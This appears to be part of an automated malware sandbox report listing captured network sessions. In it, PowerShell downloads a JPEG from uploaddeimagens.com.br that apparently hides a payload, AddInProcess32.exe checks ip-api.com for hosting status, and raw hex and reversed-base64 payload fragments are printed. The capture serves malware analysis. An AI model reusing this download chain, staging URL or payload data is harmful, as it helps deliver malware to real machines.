Jul 2, 2024 08:22:17.620188951 CEST	448	IN	Data Raw: 41 77 41 41 4d 41 45 41 41 41 45 41 2b 41 41 41 41 76 42 67 5a 41 34 47 41 4a 42 51 5a 41 77 47 41 70 42 67 52 41 63 47 41 75 42 51 61 41 49 48 41 30 42 77 55 41 45 41 41 41 49 41 48 45 41 4c 41 41 41 41 41 41 41 41 41 75 42 77 62 41 6b 47 41 30 Data Ascii: AwAAMAEAAAEA+AAAAvBgZA4GAJBQZAwGApBgRAcGAuBQaAIHA0BwUAEAAAIAHEALAAAAAAAAAuBwbAkGA0BQYAwGAzBgbAEGAyBAVAAAAEAAJAAAAAAwbAYGAuBQSAUGAsBQaAYEAyBQYAYFABAAAAQEAAAAAAAAAAAAAAAAAAAQAAAAAEAAAAAAAAAwPAAAAAAQAAAAAAAAAAEAAAAQAAAg/vTQvAAAAAAwTAYEAOBQSA8FAOB
Jul 2, 2024 08:22:17.620320082 CEST	1236	IN	Data Raw: 41 51 42 41 41 41 67 42 67 41 41 41 49 41 41 41 41 51 41 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AQBAAAgBgAAAIAAAAQAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Jul 2, 2024 08:22:17.620348930 CEST	1236	IN	Data Raw: 42 64 51 77 42 49 77 68 41 42 41 41 42 49 55 55 67 53 34 51 73 43 4b 68 44 68 4c 6f 45 47 63 67 44 4f 6b 75 67 53 45 41 49 47 55 75 67 53 41 41 49 46 67 51 73 43 4b 52 41 31 4b 6f 45 56 34 51 73 43 4b 52 50 42 4b 52 34 43 4b 68 44 48 63 67 46 4a Data Ascii: BdQwBIwhABAABIUUgS4QsCKhDhLoEGcgDOkugSEAIGUugSAAIFgQsCKRA1KoEV4QsCKRPBKR4CKhDHcgFJCoEAAQBO0SgS0RAAcACI0SgS0RLBKRLBKRHI4wBHERgAKRHAAgBhERIRIgAAcACBCoEdgwAHgAATgQACAiBA4RA9JRFGAgHBktgSUxBIAgHIUQHIUtgSYwBMEsgSAAIF0sgSEQAgYQzCKBAAUgDFLoEBAgBI4gDVG
Jul 2, 2024 08:22:17.620354891 CEST	1236	IN	Data Raw: 48 41 47 6f 45 64 41 59 67 53 30 42 67 42 4b 42 43 46 30 42 43 41 47 6f 45 4e 63 51 4a 49 55 51 48 43 63 51 42 49 45 6f 67 53 49 77 42 47 67 51 66 43 4b 68 41 48 59 67 44 42 55 57 67 53 55 68 44 4f 49 41 41 4b 67 51 65 53 6b 66 67 53 34 51 48 74 Data Ascii: HAGoEdAYgS0BgBKBCF0BCAGoENcQJIUQHCcQBIEogSIwBGgQfCKhAHYgDBUWgSUhDOIAAKgQeSkfgS4QHtGoEOEQTSUhBHIBCI4QHOEQTSUhDI4gDO0BWBKhDB0kEVswBZgAbBKBbBKRANJRFDcQDL4QAAQAXBGRAKUQdCGhCBAgBkFYEBoQBIcACIcACIgACKoACIsAXBGRHIgACIMxBYgwAdgACI4QHIgACJcQDgFYEBoQBN0
Jul 2, 2024 08:22:17.620366096 CEST	1236	IN	Data Raw: 44 42 30 6b 45 56 73 77 42 6b 67 67 44 42 45 4f 67 52 55 42 51 42 4b 68 44 4f 45 51 54 53 55 42 51 42 4b 52 41 4e 4a 52 46 47 63 51 47 43 67 52 41 43 41 53 42 49 67 41 43 43 41 51 42 49 67 67 44 64 67 67 44 46 30 42 43 49 41 55 67 53 67 41 43 46 Data Ascii: DB0kEVswBkggDBEOgRUBQBKhDOEQTSUBQBKRANJRFGcQGCgRACASBIgACCAQBIggDdggDF0BCIAUgSgACF0RBdgSgS4QpBKBGOAUgSEQTSUxEHUyAOEAAEgwAdMQHI4QHD0BQBKhDO4gDO4QHO4AQBKRANJRFQcwHI4ACOgQBdUQHOgwBMggDOIQXSUhDCEcgRUBQBKhDQFoEOAUgSEQTSUxBH4BCAFoEB0kEVAUgS4gDOgACO4
Jul 2, 2024 08:22:17.620490074 CEST	1236	IN	Data Raw: 48 49 67 51 48 49 67 41 43 49 30 42 43 64 34 77 44 48 67 42 43 49 55 51 48 49 4d 41 49 48 6f 41 43 42 41 41 42 78 49 59 45 74 49 59 45 70 49 59 45 4f 45 41 42 67 30 41 43 41 46 6f 45 42 45 4f 67 52 55 68 44 42 45 4f 67 52 55 68 44 42 45 4f 67 52 Data Ascii: HIgQHIgACI0BCd4wDHgBCIUQHIMAIHoACBAABxIYEtIYEpIYEOEABg0ACAFoEBEOgRUhDBEOgRUhDBEOgRUhDBEOgRUBQBKRANJRFAFoEC4ACIgACAFoEI4gACUQHIEigS4gDO4QANJRFO4QANJRFOEQTSUhDO4gDAFoEB0kEVEyBYhACO0BQBKRANJRFAFoEO4AHY0PgSwR/AKBGY0PgSgR/AKRIR0PgSgBHIgBGIgRIRwBCYg
Jul 2, 2024 08:22:17.620501995 CEST	1236	IN	Data Raw: 44 64 41 55 67 53 45 51 54 53 55 42 51 42 4b 68 44 4f 34 67 44 6c 47 6f 45 4f 55 61 67 53 34 41 51 42 4b 52 41 4e 4a 52 46 4f 63 77 49 52 48 6f 45 41 41 53 42 49 55 51 48 4f 45 67 67 53 55 51 48 4e 48 6f 45 46 30 78 42 48 41 42 43 49 34 51 48 41 Data Ascii: DdAUgSEQTSUBQBKhDO4gDlGoEOUagS4AQBKRANJRFOcwIRHoEAASBIUQHOEggSUQHNHoEF0xBHABCI4QHAFoEF0RpBKhDlGoEOAUgSEQTSUhCHoBCI4QHAFoEB0kEVAUgS4gDdAUgSEQTSUBCHoBCAFoEB0kEVAUgS4QfBKhD9FoEO4gDO4AQBKRANJRFNcQIOUfgSEAIG0ZgS0BAgYgDdGoEdEAIHgACdGoEdgQnBKRHAFoEO4
Jul 2, 2024 08:22:17.620512009 CEST	1236	IN	Data Raw: 42 47 67 77 41 42 41 41 42 46 30 68 41 4f 55 61 67 53 45 41 49 47 55 61 67 53 59 41 42 49 4d 51 48 44 30 78 41 64 67 67 44 64 67 67 44 64 67 67 44 64 34 51 48 41 46 6f 45 46 30 68 44 6c 47 6f 45 4f 55 61 67 53 34 51 70 42 4b 68 44 46 30 68 44 64 Data Ascii: BGgwABAABF0hAOUagSEAIGUagSYABIMQHD0xAdggDdggDdggDd4QHAFoEF0hDlGoEOUagS4QpBKhDF0hDdAUgSEQTSUxFHETnBKBAgUAAT0BAgUACI4QHI4QHAFoEO4gDIUQHYFoEOAUgSEQTSUhDOEQTSUhDRcAJO0ZgSEAAG4QAhDYEVYAChEBCO0hDBEOgRUBQBKRBd4gDC0lEVUQHO4gDdgZgS4AQBKRANJRFOEQTSUBEH8
Jul 2, 2024 08:22:17.625206947 CEST	1236	IN	Data Raw: 67 52 55 42 43 41 4d 52 41 42 41 53 42 70 44 6f 45 41 41 51 42 4f 45 51 54 53 55 52 42 73 46 6f 45 42 45 4f 67 52 55 42 43 51 48 6f 45 42 30 6b 45 56 63 41 62 42 4b 52 41 4e 4a 52 46 48 67 51 64 52 34 51 48 51 48 6f 45 42 45 4f 67 52 55 42 62 42 Data Ascii: gRUBCAMRABASBpDoEAAQBOEQTSURBsFoEBEOgRUBCQHoEB0kEVcAbBKRANJRFHgQdR4QHQHoEBEOgRUBbBKRAhDYEVAdgSAdgSwWgSAdgSEQTSUBbBKRANJRFKcgLdIBAgQwAd4QAgUgDdIRAgUAATAAIEAUgSEQ4AGRFIAwEBEOgRUBAgkAQBKRANJRFHgwAdUXEO0BQBKRAhDYEVAUgS0hEAFoEB0kEVgwBd4gDO4gDEAwBIU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49168	208.95.112.1	80	1652	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 08:22:18.641774893 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jul 2, 2024 08:22:19.110130072 CEST	174	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 06:22:18 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 4 X-Rl: 42 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49163	188.114.96.3	443	2200	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 06:22:13 UTC	124	OUT	GET /images/004/807/053/original/new_image.jpg?1719846235 HTTP/1.1 Host: uploaddeimagens.com.br Connection: Keep-Alive
2024-07-02 06:22:13 UTC	693	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 06:22:13 GMT Content-Type: image/jpeg Content-Length: 425945 Connection: close Last-Modified: Mon, 01 Jul 2024 15:03:55 GMT ETag: "6682c55b-67fd9" Cache-Control: max-age=2678400 CF-Cache-Status: HIT Age: 1760 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rZyr4T6Hc2fvhyQSkM3uHwuxGx0uLVkXxmVD%2BbQ5U2fsRcLpkgpMm9vnl%2Fr5Oi2BJnHJwZD0awjwfg7sC3YJpysUyGk26eaSddJBk9eeuelcomZTvph7051PAZb%2BGwvhVOKp8QgNI8PV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89cc8a48effa4328-EWR alt-svc: h3=":443"; ma=86400
2024-07-02 06:22:13 UTC	676	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-07-02 06:22:13 UTC	1369	IN	Data Raw: 2e 54 7a 99 be b9 63 d3 ad 1c a9 63 d2 be b8 15 dc 4a 9b b5 f6 ac 1a 1d a4 90 41 f9 f5 cb 17 56 b0 39 f7 ca 11 67 70 34 3b e0 19 9c 70 c7 be 09 9c 37 21 fa 76 ca b3 a0 53 7e 9c 42 5d 62 23 10 87 76 03 6f 2e c3 b8 da df b6 25 36 bf 69 21 3f 35 c4 e6 d4 3c b6 49 a1 82 02 c7 4f ae 05 84 f2 4b 7e 6b b6 df 6c b3 6d d8 28 82 3d bb e5 42 9a ce a7 1c 91 81 c0 2a b0 a5 a3 84 2c 78 be bd b0 04 d9 e9 47 df 08 1e a8 55 9c 0b 96 35 c9 a1 92 08 f7 bf 86 50 9d c0 ae de bc 61 b4 da 79 27 72 91 45 b9 c2 ee da 18 02 c0 72 76 8e fc 5e 01 75 1a 59 74 e1 37 15 2a e0 30 75 e4 72 a0 d7 cf 9c 09 24 55 fe 78 f4 b2 09 9b ee cc 41 2d 0c 4f 19 ed b8 46 b6 39 f7 16 3e 75 99 c5 82 c6 49 5e 4f 1f 5e ff 00 96 05 67 d4 79 34 41 b2 d9 9a ee ce e5 9b 92 70 9b 99 a5 de dc d9 e7 e1 ce 43 2e Data Ascii: .TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B,xGU5Pay'rErv^uYt70ur$UxA-OF9>uI^O^gy4ApC.
2024-07-02 06:22:13 UTC	1369	IN	Data Raw: 56 1e 41 ae 79 bf e9 81 0d e2 32 08 62 56 d4 c8 4a 93 bb 69 0a d5 db af e5 8d cb e2 41 e1 60 81 c1 b0 4b 3d 5f e4 3a e6 02 10 5f 8e a3 9e 98 fc 65 44 44 96 dc 6f f2 c0 d9 8b 58 da 88 99 c3 b2 81 01 02 8d 5b 7b e6 47 8a 4a 1a 18 d1 9e 47 7d c4 ee 77 0d fc ba 61 0b 95 87 ad 02 38 cc bf 25 9f 73 03 64 1b ac 0e 0a 5b 4a 38 24 86 e0 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a 93 2c 41 4f 51 96 d3 ea a5 88 6c 41 b9 79 b5 f7 c5 c0 06 ef 8e 31 dd 14 48 ee a0 3d 12 68 9c 06 fc 3f 4b 2e a7 54 b2 4d 4b 08 e4 82 78 61 ed 9b f3 6a 67 99 d7 c3 b4 11 24 6a 08 6b 56 ab 03 Data Ascii: VAy2bVJiA`K=_:_eDDoX[{GJG}wa8%sd[J8$cLp\`6d)$,ec)q(6>h\|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jkV
2024-07-02 06:22:13 UTC	1369	IN	Data Raw: e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70 1b 1a b2 58 9b af 86 10 6a 83 70 c4 13 ef ed 88 ec 2c c7 a8 ac a9 47 57 ba 24 55 f1 81 a3 bd 9d 96 98 71 dc e5 5e 42 a5 bd 56 40 bf 86 2e 8c 01 50 7b e4 3b 30 6b 09 60 f0 6f a5 60 59 f5 4d d0 1b e2 f1 49 b5 74 a7 77 43 c5 e1 24 65 0a d4 45 8e c3 12 d8 b3 ab 2b 30 e3 9c 00 78 66 bb 4a 8d 2e 9f 4e 79 57 2c d6 73 45 75 8a 1b 69 60 2f a6 65 68 fc 3f 4f 0e b6 51 18 51 23 f2 79 ea 31 8d 58 8f 4f 0b 4f 35 05 41 ba fa 60 31 e2 1e 2d 16 82 07 9a 57 00 28 a0 3d ce 2b a3 f1 45 d4 e9 44 e2 c6 ee 68 e7 8b 79 e6 fb 53 e2 bb 01 2b a5 8b d4 07 be 7a b8 95 60 d3 ac 61 00 0a 28 01 df 00 fa 87 8e 68 Data Ascii: r7qLz2iO7ZsiA%nGR?{O\|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+EDhyS+z`a(h
2024-07-02 06:22:13 UTC	1369	IN	Data Raw: ca c8 48 50 a3 af 73 92 1d 11 95 63 62 c2 b9 b1 9d 2e 98 46 14 06 1e af a8 c1 24 65 25 00 b0 2a 7a 9f 86 06 ae 85 92 2a 49 4d b1 4a a0 2e af 17 d5 44 04 a0 d9 00 37 e1 be b8 7d 23 23 48 18 20 6d b6 07 6c 36 a5 d2 66 08 83 6d 0b 22 ba e0 05 bc 37 4c f1 79 82 46 16 bb af ad fc 30 6a 9a 78 d6 b7 a0 20 d9 2b b8 11 fa 63 62 24 8d 89 67 01 54 32 ed 63 d2 86 2a 1f ef 0e 5e 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07 6a 8f 80 1d 71 35 99 8a b1 0d b5 57 a0 3d b2 1f 56 1a 7a 2d 7e a2 45 8a c0 d0 1a 84 45 54 44 ed db be 66 4f a8 42 ce 80 35 6e ba ba e7 1a 56 de f6 a0 0f f1 57 7c 52 6d 1c 92 cc 5c 11 4c d4 49 ed 80 54 9d 95 55 54 b1 04 56 ef 6c 87 44 23 76 d6 af e2 20 61 e2 54 40 a9 76 40 ab f7 ce 62 e2 e8 a9 5e 84 1c 08 82 7d 8c Data Ascii: HPscb.F$e%zIMJ.D7}##H ml6fm"7LyF0jx +cb$gT2c*^8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW\|Rm\LITUTVlD#v aT@v@b^}
2024-07-02 06:22:13 UTC	1369	IN	Data Raw: 52 cc a5 76 d0 0c 4f 4b 61 78 1e 78 15 7e ab 7f 0c 63 4e 88 d2 84 31 17 b1 e9 50 c5 6b ea 30 22 c0 e2 f7 77 1d 86 71 90 af 73 7f 0c 0d 43 a1 a5 e3 4c a6 bb 89 5b 8f 9f a7 2a fa 22 bb 6f 4c b4 4d 7a 64 6a fa f1 8a c1 ac 9c cf 12 99 a6 71 b8 0d aa c6 cf 3d 33 d1 ce ea fa 56 31 a2 db 10 9c 80 6f ad 8a 3d aa ef 9c 0c 73 a0 43 75 a6 5a 06 8d cc c3 fa 67 2e 89 28 56 91 48 3d 0f 9a 48 fc eb 3d 01 82 3f 3b 72 a4 61 aa ba 00 55 7d 85 0e 9f 5c 21 86 c0 b0 a4 7b 0c 0f 3c 34 4a c7 8d 3a 90 3f fb 69 e3 ff 00 0e 17 4f e0 b3 4f 32 bc 5a 55 5e 6c 39 9d 97 69 1d 0f e1 eb 79 b8 23 8d 48 a2 01 ec 08 b1 92 0c 85 c9 f3 4d 8f 73 55 80 ac fe 0b 0e b3 c4 97 59 1c ac b2 ab 2b 48 cc cb 6a 55 46 d2 ab 55 46 8d df 4f 8f 4c c7 d4 e8 9b 4f 3e a4 69 b4 10 88 a1 6d c1 e6 9b a2 92 76 91 Data Ascii: RvOKaxx~cN1Pk0"wqsCL[*"oLMzdjq=3V1o=sCuZg.(VH=H=?;raU}\!{<4J:?iOO2ZU^l9iy#HMsUY+HjUFUFOLO>imv
2024-07-02 06:22:13 UTC	1369	IN	Data Raw: 2e fa 66 7b a3 f9 62 40 a4 5d 7e 2e fc 60 2f 1a a2 3f 24 93 54 4f 61 8e 2d 4a 9b 56 e9 7a d6 26 59 88 36 aa 2b db 0b 1f 99 15 6d e7 70 bc 03 c9 28 8d 76 ef 00 f4 e7 28 60 0a 81 81 52 b4 4f 18 35 2c 75 54 e8 38 e8 48 be d8 e8 53 3c 2c a3 69 da 3a 03 47 f2 c0 41 b6 ae 98 28 71 ea e0 93 db 20 c6 87 4c 44 64 b1 2d 74 3e 58 ab 02 ac 45 11 cf 7c 6b 46 76 ab 10 81 be 78 14 92 09 56 15 77 71 b7 b0 38 c4 53 9d 52 ac 12 c4 0a a8 fc 43 a8 c0 49 1c f3 7a c2 96 5f 61 db 02 92 3c 36 14 95 f7 b1 80 6d 62 69 90 a8 81 f7 7f 88 9c 8d 14 eb a7 9c 3b 0b 5e f8 23 0b ed 57 23 86 e9 83 e4 58 c0 f4 4f af 86 d9 1b a1 1b 94 fb 9c 04 3e 27 3c 5a 95 96 34 2c 3f 0f 1e f9 89 cd 8b c7 a1 98 a4 41 4a 85 fe 21 7d f0 0f ad f1 4d 6b 6b 19 98 b2 1b e1 7d b1 87 d3 cd a9 d3 2c f6 ca 7a 90 dd Data Ascii: .f{b@]~.`/?$TOa-JVz&Y6+mp(v(`RO5,uT8HS<,i:GA(q LDd-t>XE\|kFvxVwq8SRCIz_a<6mbi;^#W#XO>'<Z4,?AJ!}Mkk},z
2024-07-02 06:22:13 UTC	1369	IN	Data Raw: 1f 76 75 23 8f 4d 56 78 a0 db 5c 89 23 5d bd be 18 60 c1 e2 dc 63 5a 51 55 ef 81 e8 13 ed 54 52 b8 67 d3 35 06 21 42 f7 c7 f5 3f 6b f4 b0 e9 83 36 96 50 38 1c 1a 39 e4 21 7b e1 23 51 ec 79 eb 87 62 25 fd dc 88 ac 3b f2 70 37 0f da d8 1e 20 cb a5 9a 8f bb 62 69 f6 af 4b bd 80 d2 4a 0d f3 6d 99 4e a1 18 aa 00 54 76 ba c5 66 01 19 58 46 a0 9e 4d 1b c0 f4 9f fc 4d a0 59 96 63 a2 70 ed c7 5e 71 6d 5f da 5d 16 bb 4c d0 49 a3 93 67 00 8b eb 9e 73 57 aa 68 d3 7e d0 c7 b7 c3 07 0e a5 a7 87 70 00 71 c8 1e f8 1a de 1f e2 fa 0f 09 59 57 4d a1 98 96 3c 96 ec 31 98 be d6 69 8b 94 3a 47 51 d4 1b eb 98 7a 67 79 94 a1 b0 41 ac 60 e9 d5 c8 26 35 b5 e3 9e 30 35 9b ed 4c 09 3b 37 91 20 42 bd 3e 39 57 fb 53 a7 53 ea d3 48 54 fc 73 38 e9 8b 72 d1 aa a8 e3 ae 53 53 a5 49 23 08 Data Ascii: vu#MVx\#]`cZQUTRg5!B?k6P89!{#Qyb%;p7 biKJmNTvfXFMMYcp^qm_]LIgsWh~pqYWM<1i:GQzgyA`&505L;7 B>9WSSHTs8rSSI#
2024-07-02 06:22:13 UTC	1369	IN	Data Raw: 6d 8c cd d3 9f 6e 71 af 23 4f 2a 2a 19 ce e6 21 78 42 07 e7 8a 6a fc 36 18 23 94 09 98 95 e9 cf 5c 04 9d 56 48 91 90 b1 a5 a2 3f ae 5c b2 4a ea cb 1a 92 00 5a 51 db df 2f a3 d8 a4 ab 10 23 22 c9 ee 49 ed 97 45 58 dd bc b1 e9 e8 d6 3a 57 38 03 48 9b ce e1 c8 37 c5 71 58 cc 40 34 92 16 56 25 56 c1 39 29 13 cc cc c3 8d a6 f2 f2 b1 d8 52 36 05 82 d3 57 d3 00 0f 36 e7 24 a9 6d c4 d0 1c e0 52 17 2e c4 13 63 db 8e 31 85 d3 ee 89 5c 1d ac b6 4f be 2b 36 a9 a1 b5 04 97 ef 7d b0 08 b0 97 3d 79 5e a7 13 9d 97 7e e1 5b b2 3c d9 ca ef 2d 4a c6 b2 d3 45 12 51 56 bb 17 f5 c0 e8 b5 0c 7d 3b aa ba 1f 7c 31 d4 c8 06 ed a4 af 7a c4 95 77 72 38 af 86 30 db cb 14 2f 60 76 18 04 49 3c c5 52 b4 08 fc 40 fc f1 89 1b 69 da 2a ab af c7 12 89 1d 24 21 40 03 83 ce 16 42 e4 92 48 35 Data Ascii: mnq#O*!xBj6#\VH?\JZQ/#"IEX:W8H7qX@4V%V9)R6W6$mR.c1\O+6}=y^~[<-JEQV};\|1zwr80/`vI<R@i$!@BH5
2024-07-02 06:22:13 UTC	1369	IN	Data Raw: 23 89 4b 32 c8 64 7d de db 48 a3 f1 04 93 7e d8 8e af c5 f5 07 57 12 0d 39 d3 a6 e0 c4 b2 db 15 27 36 1e 09 5e 16 48 e4 65 0c 49 0d 60 70 47 b0 1d 7e a3 01 49 74 6b a9 8d 4e e2 50 a2 b6 d5 e4 1e 49 35 5c 59 f7 c6 84 70 a0 0c 23 0a 15 78 25 79 03 db 32 f4 11 eb 24 f1 a6 3a a9 e9 51 2f 62 31 0a 18 dd 0a ee 48 e4 e6 bc 8a ea db 55 0c 9c 85 36 68 55 e0 7c f3 ed 4a be 9b c4 d0 47 34 a5 5d 43 72 6a ba f1 9c 9a 8d 34 fa 38 fc e5 32 35 ed 0a 41 e0 9b 3d 47 3d b1 df b4 70 a6 a3 c7 e1 47 00 2f 93 7c 76 00 1e f9 e7 0a 9d 3e a4 84 2a c5 4d ab 29 b1 f0 fd 70 1c d6 68 d7 4a c1 96 65 65 6e 42 f3 78 a1 7d c7 36 f4 fe 1b 36 ae 17 d4 4f ea 91 d7 d0 a5 bf 13 76 24 df 18 b6 ab 45 14 5a 58 5c 3a ac db 03 32 96 14 dd 41 20 fc 0e 06 68 bb eb 43 0d 04 07 53 a8 8e 21 76 cc 16 c2 Data Ascii: #K2d}H~W9'6^HeI`pG~ItkNPI5\Yp#x%y2$:Q/b1HU6hU\|JG4]Crj4825A=G=pG/\|v>*M)phJeenBx}66Ov$EZX\:2A hCS!v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49165	188.114.96.3	443	2200	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 06:22:16 UTC	100	OUT	GET /images/004/807/053/original/new_image.jpg?1719846235 HTTP/1.1 Host: uploaddeimagens.com.br
2024-07-02 06:22:16 UTC	695	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 06:22:16 GMT Content-Type: image/jpeg Content-Length: 425945 Connection: close Last-Modified: Mon, 01 Jul 2024 15:03:55 GMT ETag: "6682c55b-67fd9" Cache-Control: max-age=2678400 CF-Cache-Status: HIT Age: 1763 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rfv5pBz6D%2B2GA%2Fbq2vRNtLsaBiwp8kQrCJwzTrXMCLMzZaybleTfNd1HAWYzHuJL2JYBOar%2FdMgxWeW59sxaYIBJoPRk0eoCacbJQ3wkdXcDG22dlig9k2fFgadjtkO4Dr0pZNEdP%2F3H"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89cc8a585e4d19e3-EWR alt-svc: h3=":443"; ma=86400
2024-07-02 06:22:16 UTC	674	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-07-02 06:22:16 UTC	1369	IN	Data Raw: e1 95 2e 54 7a 99 be b9 63 d3 ad 1c a9 63 d2 be b8 15 dc 4a 9b b5 f6 ac 1a 1d a4 90 41 f9 f5 cb 17 56 b0 39 f7 ca 11 67 70 34 3b e0 19 9c 70 c7 be 09 9c 37 21 fa 76 ca b3 a0 53 7e 9c 42 5d 62 23 10 87 76 03 6f 2e c3 b8 da df b6 25 36 bf 69 21 3f 35 c4 e6 d4 3c b6 49 a1 82 02 c7 4f ae 05 84 f2 4b 7e 6b b6 df 6c b3 6d d8 28 82 3d bb e5 42 9a ce a7 1c 91 81 c0 2a b0 a5 a3 84 2c 78 be bd b0 04 d9 e9 47 df 08 1e a8 55 9c 0b 96 35 c9 a1 92 08 f7 bf 86 50 9d c0 ae de bc 61 b4 da 79 27 72 91 45 b9 c2 ee da 18 02 c0 72 76 8e fc 5e 01 75 1a 59 74 e1 37 15 2a e0 30 75 e4 72 a0 d7 cf 9c 09 24 55 fe 78 f4 b2 09 9b ee cc 41 2d 0c 4f 19 ed b8 46 b6 39 f7 16 3e 75 99 c5 82 c6 49 5e 4f 1f 5e ff 00 96 05 67 d4 79 34 41 b2 d9 9a ee ce e5 9b 92 70 9b 99 a5 de dc d9 e7 e1 ce Data Ascii: .TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B,xGU5Pay'rErv^uYt70ur$UxA-OF9>uI^O^gy4Ap
